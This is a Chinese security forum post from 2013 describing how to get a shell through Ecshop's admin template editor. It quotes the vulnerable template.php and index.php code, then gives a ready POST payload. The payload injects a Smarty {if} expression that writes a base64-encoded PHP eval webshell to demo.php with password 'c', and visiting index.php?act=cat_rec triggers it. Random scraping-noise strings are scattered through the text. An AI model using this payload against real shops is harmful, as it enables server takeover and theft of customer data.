找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2412|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
; D0 _5 N+ [% s6 C5 R
- Y% i. x$ S8 s而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了9 w8 h6 h, m9 K& G9 \/ o7 f# g; d# X
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码* q- M1 q* B2 P+ h% ^
admin/template.php
# ]. z$ R8 O/ t- ]# y  U* ^8 t! C5 A* k2 ]8 `1 ]. H9 U% ^
1 if ($_REQUEST['act'] == 'update_library')   D( Z! o; a' I0 R) Q0 E/ ^1 N

% j0 m5 m& T$ }2 X2   & {$ n. @! a/ N0 n9 b3 o- G/ x

! |( I# V5 n! b, M. z3 {
# ?% A9 }2 G' D8 S6 h" _# X0 W. f$ p. [+ A- M% [
4     check_authz_json('library_manage'); * J, e% L4 N9 M& i& e: o

+ m6 y1 N) x8 A: l2 Y' |5   
7 q/ c! A, E3 i6 ]9 o
  z5 Z9 w8 v1 B# _6     $html = stripslashes(json_str_iconv($_POST['html'])); " }" z8 z/ M5 I/ T7 a  F% h7 ^

1 D1 s' F. S  x% R5 h7   
6 d* J, R" E; a7 N' Y( q9 E  h3 x' M7 r4 f' A7 A$ V% g5 I
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ! U4 j- L6 H' z$ t* a2 e
* [+ i7 c& K$ ?& p( `
9   
. q4 E: P. ^* p3 }" a& [- w* g
7 j4 A# s) H  L0 V* I  G& d+ Z10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 1 Z6 l2 a& x- \7 m

2 }) b' r% h6 \. `! v. \11   
, ^1 [. V4 B) Q+ Y2 d6 L0 e
6 m) |  |$ x9 V( V, C/ m* L- L12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
( r) O# a0 a* Y+ V0 K) b4 t
+ l! L5 ~4 Z$ A  U8 W& Z# n13   - N$ e( ?/ C& K1 V& l/ E
( ~; k5 ~( @! c: q3 x: I* V4 J) X
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 . _* ~7 ^0 e* n
- v% x" h, R# h6 F- l
15     {
! \' u/ D9 ]7 {) {1 d1 ?8 l* h' e* g8 i( i; M
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ( j- }: ]7 h/ b' S3 x

' u" j8 ~/ H0 W, z9 h17         make_json_result('', $_LANG['update_lib_success']);
  z0 w- `" m2 D+ ^+ b  |
. k* b& ~- {) ^$ L# d: |9 [. z18     }
7 f6 o9 ]$ L# W( P
0 a- w: p2 p8 b0 `2 N; p19     else
/ e, z( A9 i+ B- ^' h4 R! f
6 \# K, |" Y3 ?) [6 h5 ?2 ]/ [20     {
2 [: E" Z, ^9 h4 k+ X, ?: l+ ^, x# U2 [0 Q6 J" k
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 7 l( t7 |6 \1 l* L

# {6 w' D( @* d- ^22     } % T, ~# d4 w+ H! k

# X2 Q1 @& Q# _* @) V- |23 } 9 h) M5 g7 V2 i3 z, {9 ?6 _

3 k% ?; Y, Q' c1 j# k$ m2 X' z( z那么找个比较方便调用了模板的文件5 }! u2 x! f0 p2 @9 m+ W8 e
index.php
0 d5 d! R0 |3 ]4 I
+ \9 M3 l, w# v* g3 {# s1 if ($act == 'cat_rec') - t% V: S/ v( I" c& G7 c
  H" r, F  W# p: ~5 E  Q6 x& Z9 t
2   
; N2 J3 ^- F& d8 T8 R& B& L
$ V5 ~& y$ ~# q. n% b3 { " J( }* A% G9 E

5 @) z! f3 x0 P4 r$ Y; p* t4   
6 u$ p+ w, H5 ?2 F- e2 E. o) s7 h* ^, p; A; q
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');   x: P$ B% s* ^4 h
- ?9 m9 N2 _; L
6   # s' f7 a. w3 \( j
+ [4 X5 {* d  r( \, T  k
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ! d$ m2 i6 {+ R. r3 R! @

- J2 W. ]4 c. r% u, D+ w' o8   " ~- \! z+ [' t
  r8 L& L0 l: W
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; : r, B9 V& f4 r: g) w2 N; \6 k
' g2 N# Y" W- Y. _" o- k
10   
2 O, x% M7 }4 p$ i! T2 ~
& S/ i: V( P3 v- e9 J5 ~, H' v2 t11     include_once('includes/cls_json.php');
9 l, ?7 w% a/ f- J, D( Z# n3 u3 C$ b. N+ ^) J
12   
' l& Z. W8 l7 E! O9 ~+ q5 V
! o* Z4 R" c1 G5 D13     $json = new JSON;
( o2 ?9 i, l# z3 [# ?/ x) r0 B" H& Y, o6 v- f
14   ( g( c) A3 X- V' k1 `' u0 O8 n" \- s% ^
9 g& J7 o4 A6 b( C4 l, O6 a
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
5 Q/ S4 e* W: |; ]
& z. q# q8 L2 X4 U2 W4 d: D16   
  |; l4 |) T: z9 ^  M6 x
* u. X! d1 {0 C; P% {17     $children = get_children($cat_id);
7 a% v6 P% u5 B- _7 I
( W" Y) ?# \3 [! R18   / A, S# x+ d: ?# }% U

" ~4 V* ?! \9 d1 c19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 ( i% B/ B! s( `, z% O

7 l& v% K: w$ p' o: m$ m20   ' I: d; p) |8 d! L9 k
( C0 M- ?9 I2 `# h! S( u3 x
21     $smarty->assign('cat_rec_sign', 1); & O! X2 |8 Z4 d* N/ q) `6 G
/ v4 u1 `! Q3 W" _& F5 t0 y
22   
$ _0 O0 s. }/ ?. ]( j5 k- n9 E
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
% m+ g; P4 O5 `% X0 X% i
, d- g+ J) Y- a3 H* V8 a24   
8 N5 K" Z5 v7 e) r: v1 [. t2 `& g* F6 ]3 @
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; , s1 m- ^( p- n
9 @! {% b$ }; B) Y0 Y1 r+ J
26     }0 U( Q! ]0 M
5 U& u! E  I9 F$ n1 P$ S4 M0 C- X
27         echo $rec_array[$rec_type]; ) ]# X  T4 a4 ]8 B9 N7 [7 i
. K8 Y8 T# ~# d0 V' w0 e- @
28   
  T6 o0 p, a" i8 g% i- [  Q
) N) S( T; _9 x0 g9 ^29     die($json->encode($result));
6 q/ _" Z. I' M" y) v- d1 {) m! B. n
30   % _0 {( L" R1 K6 V* p9 }. x. r

( o/ F! o* _$ O4 _+ H# j5 }31 } - I$ V8 {. L1 C" ?& g

6 n: i" R" l1 I那么就有利用方法了8 A4 x) f' S* u) m
post包到http://localhost/ec/admin/template.php?act=update_library  ~% B7 S. C! A1 i3 B* U' ]( F% F) t
Post内容:
! d, f* C4 t# ~% A
; V5 y1 b$ X# L" T, |5 l, k" j' {9 A: U0 G  n
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
; @* F. {, J1 T, X( n* @6 D7 t! X; h0 X: I; R, O
然后访问http://localhost/ec/index.php?act=cat_rec
1 q$ `2 {$ R1 U. g; Z
6 g4 T' x. x& c- cshel地址:http://localhost/ec/demo.php! c7 C. x' ], J( o( j) x
密码c; d4 p& @! R' R$ k5 \; C  R& @) a% C7 S

) w8 @/ l/ Y/ A4 ?" Z/ {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表